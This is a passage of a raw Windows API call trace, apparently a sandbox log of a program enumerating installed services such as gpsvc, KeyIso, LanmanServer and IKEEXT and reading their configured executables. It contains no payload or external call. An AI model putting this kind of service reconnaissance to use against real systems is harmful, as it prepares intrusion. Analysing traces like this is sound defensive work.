pcbBytesNeeded=0x18fbe8) returned 1 [0032.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24198, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x1e24198, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0032.572] OpenServiceW (hSCManager=0x2d3600, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.572] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.572] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.572] GetLastError () returned 0x7a [0032.572] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x194, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x1e241e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="presentationfontcache.exe", lpUsedDefaultChar=0x0) returned 25 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x1e241e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0032.573] OpenServiceW (hSCManager=0x2d3600, lpServiceName="gpsvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.573] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.573] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.573] GetLastError () returned 0x7a [0032.573] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24228, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.573] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x1e24228, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0032.574] OpenServiceW (hSCManager=0x2d3600, lpServiceName="gupdate", dwDesiredAccess=0x1) returned 0x2d3790 [0032.574] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.574] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.574] GetLastError () returned 0x7a [0032.574] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x1e24270, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0032.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x1e24270, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0032.574] OpenServiceW (hSCManager=0x2d3600, lpServiceName="gupdatem", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.575] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.575] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.575] GetLastError () returned 0x7a [0032.575] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x14e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0032.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x1e242b8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0032.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.575] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x1e242b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0032.575] OpenServiceW (hSCManager=0x2d3600, lpServiceName="hidserv", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.575] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.576] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.576] GetLastError () returned 0x7a [0032.576] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x13e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24300, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.576] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x1e24300, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0032.576] OpenServiceW (hSCManager=0x2d3600, lpServiceName="hkmsvc", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.576] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.576] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.577] GetLastError () returned 0x7a [0032.577] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x12e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24348, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.577] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x1e24348, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0032.577] OpenServiceW (hSCManager=0x2d3600, lpServiceName="HomeGroupListener", dwDesiredAccess=0x1) returned 0x2d3790 [0032.577] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.577] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.578] GetLastError () returned 0x7a [0032.578] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x140, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24390, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0032.578] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroupprovider", cchWideChar=17, lpMultiByteStr=0x1e24390, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroupprovider", lpUsedDefaultChar=0x0) returned 17 [0032.578] OpenServiceW (hSCManager=0x2d3600, lpServiceName="HomeGroupProvider", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.578] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.578] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.578] GetLastError () returned 0x7a [0032.578] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x178, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e243d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.579] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="idsvc", cchWideChar=5, lpMultiByteStr=0x1e243d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="idsvc", lpUsedDefaultChar=0x0) returned 5 [0032.579] OpenServiceW (hSCManager=0x2d3600, lpServiceName="idsvc", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.579] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.579] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.579] GetLastError () returned 0x7a [0032.579] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x15a, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="infocard.exe", cchWideChar=12, lpMultiByteStr=0x1e24420, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="infocard.exe", lpUsedDefaultChar=0x0) returned 12 [0032.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ikeext", cchWideChar=6, lpMultiByteStr=0x1e24420, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ikeext", lpUsedDefaultChar=0x0) returned 6 [0032.580] OpenServiceW (hSCManager=0x2d3600, lpServiceName="IKEEXT", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.580] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.580] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.580] GetLastError () returned 0x7a [0032.580] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x126, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.580] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24468, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ipbusenum", cchWideChar=9, lpMultiByteStr=0x1e24468, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ipbusenum", lpUsedDefaultChar=0x0) returned 9 [0032.581] OpenServiceW (hSCManager=0x2d3600, lpServiceName="IPBusEnum", dwDesiredAccess=0x1) returned 0x2d3790 [0032.581] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.581] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.581] GetLastError () returned 0x7a [0032.581] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x14c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e244b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="iphlpsvc", cchWideChar=8, lpMultiByteStr=0x1e244b0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iphlpsvc", lpUsedDefaultChar=0x0) returned 8 [0032.581] OpenServiceW (hSCManager=0x2d3600, lpServiceName="iphlpsvc", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.582] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.582] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.582] GetLastError () returned 0x7a [0032.582] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x122, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e244f8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0032.582] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="keyiso", cchWideChar=6, lpMultiByteStr=0x1e244f8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="keyiso", lpUsedDefaultChar=0x0) returned 6 [0032.582] OpenServiceW (hSCManager=0x2d3600, lpServiceName="KeyIso", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.582] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.583] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.583] GetLastError () returned 0x7a [0032.583] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0xec, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e24540, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0032.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0032.583] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ktmrm", cchWideChar=5, lpMultiByteStr=0x1e24540, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ktmrm", lpUsedDefaultChar=0x0) returned 5 [0032.583] OpenServiceW (hSCManager=0x2d3600, lpServiceName="KtmRm", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.583] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.583] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.584] GetLastError () returned 0x7a [0032.584] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x19c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24588, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lanmanserver", cchWideChar=12, lpMultiByteStr=0x1e24588, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lanmanserver", lpUsedDefaultChar=0x0) returned 12 [0032.584] OpenServiceW (hSCManager=0x2d3600, lpServiceName="LanmanServer", dwDesiredAccess=0x1) returned 0x2d3790 [0032.584] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.584] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.584] GetLastError () returned 0x7a [0032.584] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0xf8, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.585] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e245d0, cbMultiByte=11, lpDefaultChar=0x0, 